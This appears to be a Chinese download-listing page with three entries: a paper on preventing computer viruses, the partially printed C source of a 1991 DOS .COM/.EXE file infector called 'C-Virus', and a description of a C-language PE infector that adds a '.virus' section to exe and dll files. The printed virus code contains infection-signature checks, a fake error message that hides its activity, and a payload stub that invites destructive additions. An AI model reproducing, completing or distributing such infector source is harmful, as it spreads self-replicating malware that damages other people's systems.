该篇论文详细的讲解了计算机病毒的防与治，从它的背景，介绍到如何预防，让你更加彻底地了解它，解决它；针对计算机病毒，还是要提前了解，今早做好预防，防患于未然。
2022-10-29 17:41:50
150KB
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/* C-Virus: A generic .COM and .EXE infector
Written by Nowhere Man
Project started and completed on 6-24-91
Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/
#pragma inline // Compile to .ASM
#include
#include
#include
#include
#include
void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);
#define DEBUG
#define ONE_KAY 1024 // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
#define SIGNATURE "NMAN" // Sign of infection
int main(void)
{
/* The main program */
spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}
void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */
small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}
int infected(char *fname)
{
/* This function determines if fname is infected */
FILE *fp; // File handle
char sig[5]; // Virus signature
fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}
void small_print(char *string)
{
/* This function is a small, quick print routine */
asm {
push si
mov si,string
mov ah,0xE
}
2022-10-26 10:39:40
2KB
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用C写感染型病毒源码。以往很多感染型病毒的源码都是用汇编写的，这个演示版的病毒是用C语言编写外加少量的汇编，在VC6.0下编译通过。在WinXp和Win7下测试成功。
可以感染exe文件和dll文件。
被感染的可执行文件会被添加一个新节“.virus”。病毒长度3296字节。这个是演示版的没有恶意代码和攻击性。代码仅供学习，使用本代码所产生的法律后果与本人无关，谢谢合作。
2022-10-26 10:37:20
21KB
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